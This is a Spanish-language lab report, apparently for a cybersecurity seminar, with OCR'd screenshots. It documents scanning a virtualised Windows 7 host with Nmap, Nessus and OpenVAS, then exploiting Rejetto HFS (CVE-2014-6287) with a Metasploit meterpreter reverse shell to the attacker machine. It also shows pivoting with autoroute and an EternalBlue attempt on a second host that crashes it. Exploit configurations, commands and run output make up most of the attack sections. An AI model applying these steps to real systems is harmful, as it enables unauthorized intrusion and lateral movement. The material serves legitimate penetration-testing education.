Nmap done: 1 IP address (1 host up) scanned in 5.01 seconds

Nota. Se muestra el resultado del escaneo del HOST-A desde el sistema Kali Linux con el

software Nmap.

Para detectar las vulnerabilidades existentes en el HOST-A, se utiliza el software Nmap
desde Kali Linux, con el comando nmap 192.168.56.109 —script vuln. Como resultado del
escaneo, se identifica una vulnerabilidad en el servicio web http que se ejecuta sobre el puerto
80/TCP y se clasifica como CVE-2011-3192. El analisis también detecta una vulnerabilidad
critica en el puerto 445/TCP, protocolo SMB, identificada como a CVE-2017-0143. En las

figuras 8 y 9, se muestra el resultado del escaneo y las vulnerabilidades encontradas.
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Figura 8

Vulnerabilidades encontradas por Nmap

N EERP O] 2 3 48[

Session Actions Edit View Help

/home/cess
- vuln 192.168.56.109

Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-19 20:55 -0400
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using ——system-dns or specify
Nmap scan report for 192.168.56.109
Host is up (0.00098s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
| http-fileupload-exploiter:

b Couldn't find a file-type field.
_http-sql-injection: ERROR: Script execution failed (use -d to debug)
http-method-tamper:
VULNERABLE:
Authentication bypass by HTTP verb tampering
State: VULNERABLE (Exploitable)
This web server contains password protected resources vulnerable to authentication bypass
vulnerabilities via HTTP verb tampering. This is often found in web servers that only limit access to the
common HTTP methods and in misconfigured .htaccess files.

Extra information:

URIs suspected to be vulnerable to HTTP verb tampering:
/~login [GENERIC]

References:
http://www.imperva.com/resources/glossary/http_verb_tampering.html
http://capec.mitre.org/data/definitions/274.html
http://www.mkit.com.ar/labs/htexploit/

% https://www.owasp.org/index.php/Testing_for_ HTTP_Methods_and_XST_%280WASP-CM-008%29
_http-dombased-xss: Couldn't find any DOM based XSS.
_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
_http-csrf: Couldn't find any CSRF vulnerabilities.
http-vuln-cve2011-3192:
VULNERABLE:
Apache byterange filter DoS

State: VULNERABLE

IDs: BID:49303 CVE:CVE-2011-3192
The Apache web server is vulnerable to a denial of service attack when numerous
overlapping byte ranges are requested.

Disclosure date: 2011-08-19

References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
https://seclists.org/fulldisclosure/2011/Aug/175
https://www.securityfocus.com/bid/49303

L https://www.tenable.com/plugins/nessus/55976

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: 08:00:27:B5:9A:77 (Oracle VirtualBox virtual NIC)
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I
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Host script results:

| smb-vuln-ms17-010:

Nota. Se muestra el resultado del escaneo de vulnerabilidades en el HOST-A, realizado con el

software Nmap desde el sistema Kali Linux.



Figura 9

Vulnerabilidades encontradas por Nmap

VULNERABLE:
Remote Code Execution vulnerability in Microsoft SMBvl servers (ms17-010)
State: VULNERABLE
IDs: CVE:CVE-2017-0143
Risk factor: HIGH
A critical remote code execution vulnerability exists in Microsoft SMBv1l
servers (ms17-010).

Disclosure date: 2017-03-14

References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

l_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

| _samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED

| _smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED

| _smb-vuln-ms10-054: false

Nmap done: 1 IP address (1 host up) scanned in 92.78 seconds

Nota. Se muestra el resultado del escaneo de vulnerabilidades en el HOST-A, realizado con el

software Nmap desde el sistema Kali Linux.

Escaneo con Nessus

Se instala Nessus en el equipo anfitrion con Windows 11 que aloja las maquinas

virtuales. Nessus es una herramienta lider en ciberseguridad para escanear vulnerabilidades en
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multiples sistemas. Aunque la herramienta es de pago, permite instalar una version de prueba por

30 dias. En la figura 10 se muestra la consola web del software Nessus instalado.

Figura 10

Consola web Nessus

(Otenable NessusEssentials  Scans Settings

About
© About
% Advanced N
s Overview License Utilization Software Update Plugin Detail Locale Encryption Password Events
@ Proxy Server
®  SMTP Server Nessus Essentials Plugins
® CustomCA

Version 10.12.0 (#184) WINDOWS Last Updated March 31 at 6:56 PM

8 Password Mgmt
® Scanner Health Licensed Hosts 10f 5 used License Expiration May 24, 2026 Upgrade to Nessus Essentials Plus

Nota. Se observa la consola web del software de escaneo de vulnerabilidades Nessus en su

version 10.12.0.



40

Se realiza un escaneo hacia el HOST-A desde Nessus, detectando 25 vulnerabilidades. La

figura 11 muestra las vulnerabilidades encontradas por este software.

Figura 11

Vulnerabilidades encontradas por Nessus

& C CEZEEED :iies//localhost 8834

Otenable nes:

cesanchez @

HOST-A Configure  Audit Trail Launch ~ Report  Export ¥
- Backto M
& Mysans
& Allscans -
Hosts 1 Vulnerabilities 25~ Remediations 2 History 1
W Tesh
Filte
© rolicies Sev - vss - VPR - EPSS - Name . Family . Count - Scan Details
@ Plugin Rules .
Microsoft Windows (Multipl lssues) d Basic Network Scan
; Rejetto HTTP File Server (Multple ssues) Web servers
=1 2 SMB (Multiple Issues)
End
Low 37 14 o: 3g href Element XS5 1 lapsed
N Vulnerabilities
INFO . ® Criical
Y -
N Windows 7
) ort scan 4
[ Ger 1
) umeration (CPE) Genera 1
O Device Ty G 1
m INFO Ethernet Card Manufacturer Detection Misc. 1

Flowise
Authentication on

N Ethernet MAC Addresses General 1

Nota. Se muestra la lista de vulnerabilidades que encontré Nessus en el HOST-A.

Una de las vulnerabilidades identificadas durante el proceso es critica, asociada al
servicio web http configurado en el puerto 80/TCP del host objetivo y clasificada como CVE-
2024-23692. Esta vulnerabilidad representa un riesgo significativo para la seguridad del sistema
debido a que puede permitir la explotacion remota del servicio afectado. Durante el escaneo de
seguridad, se identificaron multiples vulnerabilidades sobre el puerto 445, que se clasificaron
como CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146 y CVE-2017-0148.
Todas estas vulnerabilidades se relacionan con fallos de seguridad en implementaciones antiguas

del protocolo SMBv1 de sistemas operativos Windows. La figura 12 muestra dichos hallazgos.



Figura 12

Vulnerabilidades criticas

HOST-A / 192.168.56.109 / Microsoft Windows (Multiple Issues)

<« Back to Vulnerabilities

Vulnerabilities 25

Sev - CVSS - VPR  EPSS - Name .
100 Unsupported Windows OS (remote)
EEm 98 09432 MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETER.

HOST-A/192.168.56.109 / Rejetto HTTP File Server (Multiple Issues)

< Back to Vulnerabilities

Vulnerabilities 25

Sev - CVSS+ VPR -  EPSS + Name .
98 84 09436  Rejetto HTTP File Server 2.3x < 2.3c RCE
98 8.4 0943  Rejetto HTTP File Server 2.x 3m RCE (CVE-2024-23692)

HOST-A / Plugin #97833

¢« Back to Vulnerability Group

MS17-010: Security Update for Microsoft Windows SMB Server (4013389)

Vulnerabilities 25 (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE)
(ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)

Family .

Windows

Windows

Family .

Web Servers

Web Servers

Configure

MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (...

Description
The remote Windows host is affected by the following vulnerabilities :

- Multiple remote code execution vulnerabilities exist in Microsoft Server Message Block 1.0 (SMBv1) due to improper handling of certain requests.
An unauthenticated, remote attacker can exploit these vulnerabilities, via a specially crafted packet, to execute arbitrary code. (WIS FENEENQY
017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-014

- An information disclosure vulnerability exists in Microsoft Server Message Block 1.0 (SMBv1) due to improper handling of certain requests. An

unauthenticated, remote attacker can exploit this, via a spedially crafted packet, to disclose sensitive information. (CVE-2017-0147)

Configure

Count +

Configure

Count +

Audit Trail

Audit Trail Launch ~ Report Export
Scan Details
Policy: Basic Network Scan
Status: Completed
Severity Base: CVSS v3.0
Scanner. Local Scanner
Start: Apri it 9:00 PM
End: Apri at %10 PM
Elapsed: 10 minutes
Vulnerabilities
.
B
® Medium
Low
e info
Audit Trail Launch ¥ Report Export
Scan Details
Policy: Basic Network Scan
Status: Completed
Severity Base: CVSS v3.0
Scanner: Local Scanner
Start: April 23 at 9:00 PM
End: April 23 at 9:10 PM
Elapsed: 10 minutes
Vulnerabilities
® Cntical
® High
® Medium
Low
® Info
Launch ~ Report Export
Plugin Details
Severity: High
10: 97833
Version: 131
Type: remote
Family: Windows
Published: March 20,2017
Modified: December 29, 2025

Nota. La imagen muestra dos vulnerabilidades encontradas por Nessus en el HOST-A, una

catalogada como critica y la otra como alta.
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Escaneo con OpenVas

Para tener un panorama mas amplio de vulnerabilidades, se descarga e instala el software
OpenVas como un servicio virtualizado para VirtualBox, con el objetivo de realizar también un
escaneo del HOST-A con este software. Como resultado de la prueba, esta aplicacion muestra
inicialmente que el sistema escaneado Windows 7 ha llegado al final de su vida 1til y ya no tiene
soporte ni actualizaciones de seguridad por parte del fabricante Microsoft. El escaneo reporta una
vulnerabilidad critica en el servicio http y otras dos clasificadas como altas en los protocolos

SMB vy http, tal como lo indica la figura 13.

Figura 13

Vulnerabilidades encontradas con OpenVas

|l Dashboards

- Informati Results Hosts Ports  Applications  Operating Systems CVEs Closed CVEs  TLS Certificates  Error Messages = User Tags
() scans - Miommation | = " 1of) (3o (2 of2) (30F3) ) 4 (@
Tasks
Reports 1-80f8
Results Host EPSS
Vvulnerability 1. T severity Qop 1l Location Tl Created 1L
Vulnerabilities wTl Name Tl Score T, Percentile 1|
Notes Fri, May 1,
2026 5:28 AM
Operat em (OS) End of Life (EOL) Detection & 80 % 192.168.56.109 general/tcp N/A N/A
overrides Coordinated
Universal Time
& Assets >
Fri, May 1,
Resilience » HTTP File Server Remote Command Execution Vulnerability-02 (1an g P L CRSEAEANT 80/p iy o 2026 5:31 AM
2016) Coordinated
= Security ) Universal Time
== Informaticn
Fri, May 1,
2 configuration 4 Mics Vindows SMB Server Multiple Vulnerabilities-Remote 2026 5:49 AM
KA » 5% 192.168.56.109 445/tcp N/A N/A Coordinated
. oordinate
35 Administration 5
* Universal Time
(@) Help >
Fri, May 1,
HTTP File Server Remote Command Execution Vulnerability-01 (Jan & 2026 5:31 AM
N ke o 192.168.56.10 /s
2016} &g I 50% 92.168.56.109 80/tcp N/A N/A e

Universal Time

Nota. Se muestran las vulnerabilidades criticas y altas encontradas por el software OpenVas en el

HOST-A.

La segunda vulnerabilidad critica mostrada en la figura 13, hace referencia al servicio
web del software Rejetto y se clasifica como CVE-2014-6287; la tercera muestra multiples

vulnerabilidades en el protocolo SMBvV1 clasificadas como CVE-2017-0143, CVE-2017-0144,
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CVE-2017-0145, CVE-2017-0146, CVE-2017-0147 y CVE-2017-0148. La cuarta vulnerabilidad

encontrada sobre el puerto 80/TCP esta clasificada como CVE-2014-7226.
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Vulnerabilidades HTTP en el HOST-A

Las vulnerabilidades encontradas en la aplicacion Rejetto HFS por los aplicativos Nmap,
Nessus y OpenVas en el puerto 80 del HOST-A se clasifican como CVE-2011-3192, CVE-2014-
6287, CVE-2014-7226 y CVE-2024-23692. A partir de estos hallazgos se procede a buscar
informacion para identificar a través de cudl de estas vulnerabilidades es posible tomar control
del sistema y verificar si se puede realizar movimiento lateral hacia el HOST-B.
CVE-2011-3192

El filtro de rango de bytes en el servidor http Apache versiones 1.3.x,2.0.x a2.0.64 y
2.2.x a2.2.19 permite a atacantes remotos provocar una denegacion de servicio (consumo de
memoria y CPU) mediante un encabezado Range que expresa multiples rangos superpuestos, tal
como se exploto en la practica en agosto de 2011. (CVE-2011-3192, 2011).
CVE-2014-6287

La funcion findMacroMarker en parserLib.pas en Rejetto http File Server (también
conocido como HFS o HttpFileServer) 2.3x anterior a 2.3¢ permite a atacantes remotos ejecutar
programas arbitrarios a través de una secuencia %00 en una accidon de busqueda. (CVE-2014-
6287,2014).
CVE-2014-7226

La funcion de comentarios de archivos en Rejetto Http File Server (HFS) 2.3cy
versiones anteriores permite a atacantes remotos ejecutar coédigo arbitrario al cargar un archivo
con ciertas secuencias de bytes UTF-8 no validas que se interpretan como simbolos de macro
ejecutables. (CVE-2014-7226, 2014).
CVE-2024-23692

El servidor de archivos http Rejetto, hasta la version 2.3m inclusive, es vulnerable a una

inyeccion de plantillas. Esta vulnerabilidad permite que un atacante remoto no autenticado



ejecute comandos arbitrarios en el sistema afectado mediante el envio de una solicitud http
especialmente disenada. A partir de la fecha de asignacion de la CVE, Rejetto HFS 2.3m ya no

cuenta con soporte. (CVE-2024-23692, 2024).
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Explotacion

La vulnerabilidad encontrada que supone una denegacion de servicio DoS no se tiene en
cuenta para este ejercicio. De las tres vulnerabilidades que se encontraron sobre el puerto 80, en
las que un atacante puede ejecutar comandos arbitrarios al sistema comprometido, se consulta en
la IA de Google cual es la mejor y mas documentada para realizar la explotacion del HOST-A.
Especificamente se consult6 lo siguiente: “En un laboratorio controlado con Parrot y Windows
7, cual de estas vulnerabilidades es la mejor para explotar: CVE-2014-6287, CVE-2014-7226 y
CVE-2024-23692". El resultado de esta consulta indica que la mejor vulnerabilidad para explotar
en un entorno controlado con Windows 7 es la CVE-2014-6287. Esta vulnerabilidad es ideal
para laboratorios de aprendizaje porque tiene modulos de explotacion extremadamente estables y

bien documentados.

Comparativa de Vulnerabilidades
CVE-2014-6287

(Rejetto HFS 2.3.x): Es un clésico en exdmenes de certificacion (como el OSCP). Permite
la ejecucion remota de comandos (RCE) mediante una inyeccion de caracteres nulos (%00) en la
barra de busqueda. Funciona perfectamente en Windows 7 SP1 y es muy facil de replicar.
CVE-2014-7226

(Rejetto HFS 2.3.x): También afecta a Rejetto y permite RCE, pero a menudo se
confunde o se agrupa con la anterior. Aunque es explotable, la documentacién y los scripts de
apoyo son menos abundantes que para la 6287.
CVE-2024-23692

(Rejetto HFS <2.3m): Es una vulnerabilidad mucho mas reciente y critica. Aunque es

muy potente, Windows 7 es un sistema operativo "legacy" que podria no ejecutar de forma
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optima las versiones especificas del software necesarias para este CVE moderno. Se pueden
encontrar problemas de dependencias si se intenta instalar versiones de 2024 en un sistema de
2009.
Ejecucion con Metasploit

Desde el sistema Kali Linux, se ejecuta el framework de MetaSploit y se realiza la
busqueda del exploit para la vulnerabilidad CVE-2014-6287. Se indica al framework que utilice
el exploit Windows/http/rejetto_hfs exec, se verifican las opciones requeridas para el exploit y el
payload. Se configura el parametro RHOST con la direccion IP 192.168.56.109 del sistema
Windows 7 vulnerable, el pardmetro LHOST con la direccion IP del sistema Kali Linux, y el
SRVHOST igualmente con la IP del sistema Kali Linux. Las demas configuraciones se dejan por
defecto. El payload que se carga en la maquina victima es Windows/meterpreter/reverse_tcp, con
el cual se pretende obtener una Shell con privilegios administrativos sobre el objetivo. Se
pretende posteriormente realizar el movimiento lateral e instalar software de persistencia en el

HOST-A. La figura 14 muestra el resultado de las configuraciones anteriores.
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Figura 14

Configuracion del exploit

0 exploit/windows/http/rejetto_hfs_exec 2014-09-11 Yes Rejetto HttpFileServer Remote Command Execution

Interact with a module by name or index. For example inf . e or

msf > use @
No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf exploit( ) > set rhost 192.168.56.109
r = 192.168.56.109
sf exploit( ) > set lhost 192.168.56.115
st = 192.168.56.115
) > set srvhost 192.168.56.115
st = 192.168.56.115
) > show options

Module options (exploit/windows/http/rejetto_hfs_exec):
Name Current Setting Required Description

HTTPDELAY 10 no Seconds to wait before terminating web server

Proxies no A proxy chain of format type:host:port[,type:host:port][ ... ]. Supported proxies: socks5, socks5h, sapni, http, socks4
RHOSTS 192.168.56.109 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html

RPORT 80 yes The target port (TCP)

SRVHOST 192.168.56.115 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses
SRVPORT 8080 yes The local port to listen on.

SRVSSL false no Negotiate SSL/TLS for local server connections

ssL false no Negotiate SSL/TLS for outgoing connections

SSLCert no Path to a custom SSL certificate (default is randomly generated)

TARGETURI / yes The path of the web application

URIPATH no The URI to use for this exploit (default is random)

VHOST no HTTP server virtual host

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique (Accepted: *°, seh, thread, process, none)
LHOST 192.168.56.115 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name

] Automatic

View the full module info with the i , or inf command .

msf exploit(

Nota. Se muestra la configuracion de las opciones del exploit y el payload para la vulnerabilidad

CVE-2014-6287, encontrada en el HOST-A.

Se ejecuta el exploit contra la maquina objetivo mediante el comando run, el cual finaliza
exitosamente y establece una sesion en el intérprete de comandos Meterpreter. Desde esta sesion,
se verifica la configuracion de direcciones IP del sistema comprometido (HOST-A), con el fin de
confirmar que coincide con la asignada previamente a la maquina virtual con Windows 7:
192.168.56.109/24 en una interfaz de red y 10.10.0.90/16 en la otra. La figura 15 muestra las

direcciones IP del HOST-A.



Figura 15
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Vulnerabilidad explotada y configuracion IP

exploit(
Started

) > run

reverse TCP handler on 192.168.56.115:4444

Using URL: http://192.168.56.115:8080/b7Aw0iygZezxUiqg
Server started.
Sending a malicious request to /
Payload request received: /b7AwOiygZezxUig
Sending stage (199238 bytes) to 192.168.56.109
| Tried to delete ¥TEMP¥%\AHOUCtDKbxVh.vbs, unknown result
Meterpreter session 1 opened (192.168.56.115:4444 — 192.168.56.109:49178) at 2026-05-19 22:15:19 -0400
Server stopped.

meterpreter > ipconfig

Interface 1

Name

Hardware MAC :
: 4294967295
IPv4 Address :
IPv4 Netmask :
IPv6 Address :
IPv6 Netmask :

MTU

Interface 11

Name
Hardware MAC
MTU

IPv4 Address :
IPv4 Netmask :
IPv6 Address :
IPv6 Netmask :

Interface 12

Name
Hardware MAC
MTU
IPv6 Address

IPv6 Netmask :

Interface 13
Name

MTU

IPv4 Address :
IPv4 Netmask :

: Software Loopback Interface 1

00:00:00:00:00:00

B I
255.0.0.0

i !
FEffffffeffff ffffoffffffffffff:Ffff

: Adaptador de escritorio Intel(R) PRO/1000 MT
: 08:00:27:b5:9a:77

1500

192.168.56.109
255.255.255.0
fe80::8869:7519:6313:5f%¢
ffff:ffff:ffff:ffff:

: Adaptador ISATAP de Microsoft
: 00:00:00:00:00:00

1280

: fe80::5efe:ala:5a

FEffeffffeffffiffffoffffoffff:ffff:ffff

: Adaptador de escritorio Intel(R) PRO/1000 MT #2
Hardware MAC :

08:00:27:90:9c:e9
1500

10.10.0.90
255.255.0.0

Nota. Se muestran las direcciones IP del sistema Windows 7 comprometido desde la Shell de

meterpreter, que coinciden con las del HOST-A.

Al revisar el resultado del comando para verificar el direccionamiento IP del sistema

objetivo HOST-A, se encuentra que efectivamente tiene una direccion IP en el segmento de red
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10.10.0.0/16, con lo cual se confirma que es posible que haya otros equipos con direcciones IP
de esta subred.
Movimiento Lateral

Se realiza la configuracion del pivote con autoroute para que Metasploit sepa que debe
enviar el trafico hacia el HOST-B a través de la victima HOST-A. Para esto, se debe configurar
una ruta interna, poniendo la sesion en segundo plano y utilizando el médulo de enrutamiento
post/multi/manage/autoroute. La subred del HOST-B se configura con el comando set SUBNET
10.10.0.0 y la méscara de subred con set NETMASK 255.255.0.0. Por ultimo, se asigna la sesion
actual con set SESSION 1y se ejecuta con el comando run. La figura 16 muestra el resultado de

estas configuraciones.

Figura 16
Ruta de HOST-A hacia HOST-B

msf post( ) > set subnet 10.10.0.0/16
The following options failed to validate: Value "10.10.0.0/16" is not valid for option 'SUBNET'
subnet =
msf post( ) > set subnet 10.10.0.0
subnet = 10.10.0.0
msf post( ) > set netmask 255.255.0.0
netmask = 255.255.0.0
msf post( ) > set session 1
session = 1
post( ) > run
Running module against PC202006 (192.168.56.109)
Searching for subnets to autoroute.
Route added to subnet 10.10.0.0/255.255.0.0 from host's routing table.
Route added to subnet 192.168.56.0/255.255.255.0 from host's routing table.
Post module execution completed
post( ) > 1

Nota. Se indica en el modulo de post-explotacion la ruta hacia la subred donde se encuentra el

objetivo HOST-B.

Con el tinel creado se procede a escanear la subred 10.10.0.0 desde Metasploit, cargando
el médulo auxiliary/scanner/portscan/tcp. Se configuran los pardmetros solicitados y se ejecuta

el escaneo con el comando run. Al finalizar detecta la direccion IP del HOPST-B, es decir,
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10.10.0.100 mostrando los puertos 135, 139 y 445 abiertos en dicho host. Esto demuestra que
desde el HOST-A se puede realizar un movimiento lateral hacia otros equipos que no se
encuentran en el mismo segmento de red que el sistema atacante, como se muestra en la figura
17.

Figura 17
Escaneo del HOST-B desde el HOST-A con Metasploit

msf post( ) > use auxiliary/scanner/portscan/tcp
msf auxiliary( ) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name Current Setting Required Description
CONCURRENCY 10 yes The number of concurrent ports to check per host

DELAY 0 yes The delay between connections, per thread, in milliseconds

JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basig
THREADS 1 yes The number of concurrent threads (max one per host)

TIMEOUT yes The socket connect timeout in milliseconds

View the full module info with the , or command.

msf auxiliary( ) > set rhosts 10.10.0.0

rhosts = 10.10.0.0

msf auxiliary( ) > run

+] 10.10.0.100 - 10.10.0.100:135 - TCP OPEN
10.10.0.100 - 10.10.0.100:139 - TCP OPEN
10.10.0.100 - 10.10.0.100:445 - TCP OPEN
10.10.0.100 - Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

Nota. Desde Metasploit se realiza el escaneo del HOST-B a través del tinel de red creado en el
HOST-A.

Con la informacion de los puertos abiertos en el HOST-B, se puede deducir que tiene el
servicio SMB activo. Desde la consola de Metasploit se realiza el escaneo de la vulnerabilidad
SMB (MS17-010) con el modulo auxiliary/scanner/smb/smb_ms17 010. Se configura el
objetivo con el comando set RHOSTS 10.10.0.100 y se ejecuta con el comando run. Al finalizar
muestra un mensaje en color verde con el texto: “Host is likely VULNERABLE to MS17-010!",
lo que indica que se puede explotar dicha vulnerabilidad. La figura 18 muestra este

procedimiento.
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Figura 18
Vulnerabilidad MS17-010 en el HOST-B

msf auxiliary( ) > use auxiliary/scanner/smb/smb_ms17_010
msf auxiliary( ) > set rhost

set rhostname set rhosts

msf auxiliary( ) > set rhost 10.10.0.100

rhost = 10.10.0.100

msf auxiliary( ) > run

[+] 10.10.0.100:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
10.10.0.100:445 - Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
auxiliary( ) > 1

Nota. Se muestra el escaneo del HOST-B y se comprueba que tiene la vulnerabilidad MS17-010.

Enumeracion de Usuarios y Recursos Compartidos

Se realiza una busqueda de otras debilidades o configuraciones errdneas en el protocolo
SMB, para detectar la version del sistema operativo, nombre de equipo e intentar enumerar los
recursos compartidos del HOST-B. Desde Metasploit se utilizan los modulos auxiliares

smb_version'y smb_enumshares segun la figura 19.

Figura 19
Deteccion del OS en HOST-B

auxiliary/scanner/smb/s
t 10.10.0.100

ialect:SMB 2.1) (signatures:optional) (uptime:2h 5om 4s) (guid:{975ab996-9237-42a9-9529-53ede161a574}) (authentication domain:PC202006-02}
onal SP1 (build:7601)

1b_enumshares

ost: Not a valid SMB packet

Nota. Se muestra la version del OS del HOST-B, pero no enumera los recursos compartidos.

Escaneo Avanzado
Si se requiere un andlisis avanzado y mas profundo de vulnerabilidades, por ejemplo, con
el motor de scripts de Nmap, se debe utilizar un proxy SOCKS (auxiliary/server/socks proxy),

ya que los modulos de Metasploit son mas limitados. Para este caso no se realizaran escaneos
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avanzados y se intentara explotar la vulnerabilidad encontrada sobre el protocolo SMB del
HOST-B.
Explotacion del HOST-B

Como el HOST-B esta detras de un pivote, no se puede usar un payload reverso estandar,
ya que el HOST-B no se podria conectar de vuelta al sistema atacante Kali Linux directamente.
Para proceder, se debe configurar el exploit exploit/windows/smb/ms17 010 eternalblue y el

payload Windows/x64/meterpreter/bind_tcp como se observa en la figura 20.

Figura 20

Configuracion del exploit para HOST-B

msf auxiliary( ) > use exploit/windows/smb/ms17_010_eternalblue
No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit( ) > set payload windows/x64/meterpreter/bind_tcp
payload = windows/x64/meterpreter/bind_tcp
msf exploit( ) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

Name Current Setting Required Description

RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/usi
RPORT 445 yes The target port (TCP)

SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server
SMBPass ) (Optional) The password for the specified username

SMBUser no (Optional) The username to authenticate as

VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 200
VERIFY_TARGET true yes Check if remote 0S matches exploit Target. Only affects Windows Server 2008 R2, Wind

Payload options (windows/x64/meterpreter/bind_tcp):
Name Current Setting Required Description
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)

LPORT 4444 yes The listen port
RHOST no The target address

Nota. Se muestra la configuracion del exploit para explotar la vulnerabilidad en el HOST-B.

Se configura adicionalmente el parametro RHOST con la direccion IP del HOST-B, es

decir, 10.10.0.100 y se procede a ejecutar el exploit como se muestra en la figura 21.
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Figura 21
Explotando el HOST-B

msf exploit( ) > set rhost 10.10.0.100

rhost = 10.10.0.100

msf exploit( ) > run

.100: Using auxiliary/scanner/smb/smb_ms17_010 as check

- Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)

10.10.
10.10.
l10.10.
10.10.
10.10.
10.10.
l10.10.
10.10.
10.10
10.1
10.10.
10.10.
10.10.
l10.10.
10.10.
10.10.
10.10.
10.10.
10.10.
10.10.

- Scanned 1 of 1 hosts (100% complete)
The target is vulnerable.
Connecting to target for exploitation.
Connection established for exploitation.
Target OS selected valid for OS indicated by SMB reply
CORE raw buffer dump (42 bytes)
0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
0x00000010 73 69 6f 6e 61 6¢c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
Target arch selected valid for arch indicated by DCE/RPC reply
Trying exploit with 12 Groom Allocations.
Sending all but last fragment of exploit packet
Starting non-paged pool grooming
Sending SMBv2 buffers
Closing SMBv1l connection creating free hole adjacent to SMBv2 buffer.
Sending final SMBv2 buffers.
Sending last fragment of exploit packet!
Receiving response from exploit packet
10.10. ETERNALBLUE overwrite completed successfully (©xC000000D)!
10.10. Sending egg to corrupted connection.
10.10. 1445 - Triggering free of corrupted buffer.
Started bind TCP handler against 10.10.0.100:4444
10.10.0.100:445 - =-
10.10.0.100:445 - =-

00000000000 OES

Nota. Se muestra la configuracion del RHOST y la ejecucion del exploit.

El proceso de ejecutar el exploit falla, dando como resultado un error grave que muestra
un pantallazo azul y posteriormente reinicia el sistema del HOST-B. La figura 22 muestra el

mensaje de Windows cuando el sistema inicia de nuevo.

Figura 22

Reinicio del HOST-B posterior al ataque

~ winaows et i
B 1 Windows se recuperé de un cierre inesperado

Windows puede buscar una solucién en linea al problema.
A) Ocultar detalles del problema | Buscarunasolucién | [ Cancelar |

Firma con problemas: =
Nombre del evento de problema: BlueScreen
Versién del sistema operativo: 6.1.7601.2.1.0.256.48
1d. de configuracién regional: 9226|

Nota. Se observa un mensaje de error después de un pantallazo azul, luego de lanzar el exploit.

Se intenta explotar de nuevo la vulnerabilidad en el HOST-B y saca de nuevo el error del
pantallazo azul, adicionalmente se detecta que el software Oracle VM VirtualBox Guest

Additions falla al iniciar cuando carga el sistema operativo Windows 7. La figura 23 ilustra el
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comportamiento de la maquina victima cuando se esta lanzando el exploit desde la maquina

atacante.

Figura 23

Pantalla azul en HOST-B al recibir el ataque

t
tInformationFile?

8 Win7-5£2020-X64_02 [Corriendo] - Oracle VM VirtualBox

the module’s

ayloads'.

amand to quit

cent to SMBv2 buffer.

ully (©xC000000D)!

Nota. Se muestra el pantallazo azul que arroja la méaquina victima cuando se ha lanzado el ataque

desde Metasploit.

Se crea una nueva maquina virtual con Windows 7 a partir de la imagen descargada en el
trabajo de la primera etapa del seminario, importando el servicio virtualizado de nuevo en
VirtualBox. En el sistema se desactiva el firewall y se deshabilita el Windows defender. Se
intenta explotar de nuevo la vulnerabilidad con diferentes exploits y payloads, se ataca la
maquina directamente conectada a la red sin hacer el pivote, pero el host comprometido sigue

presentando problemas similares, arroja un mensaje de error y se reinicia. En la figura 24 se
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observa el error del sistema comprometido antes de reiniciarse, al lanzar el exploit desde la

maquina atacante.

Figura 24

Error en la maquina victima antes del reinicio

Session Actions Edit View Help

1 Esta a punto de cerrar la sesion

Windows encontré un problema critico y
se reiniciara automaticamente en un
minuto. Guarde su trabajo ahora.

Nota. Se observa el error que arroja la maquina victima cuando se lanza el exploit y antes del

reinicio del sistema que se intenta comprometer.

Se realiza un nuevo intento de explotar la vulnerabilidad en el HOST-B, utilizando el
exploit ms17 010 eternalblue, el payload meterpreter/bind tcp y el pardmetro RHOST con la

direccion IP 10.10.0.100. Se muestra la configuracion realizada en la figura 25.
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Figura 25

Configuracion del exploit eternalblue y el payload bind tcp

E
) > show options

Module options (exploit/windows/smb/ms17_@1@_eternalblue):

Name Current Setting Required Description

RHOSTS 10.10.0.100 e (s) ://docs. loit/ ics/using-metasploit.html
445
R2, Windows 7
no
no E ite
ves C chi a e loi t. Only affects wi ) 2008 R2, Windows 7, Wi
yes Check if remote 0S5 exploi et. L ts Windows rve , Windows 7, Windows Embe

Payload options (windows meterpreter/bind_tcp):
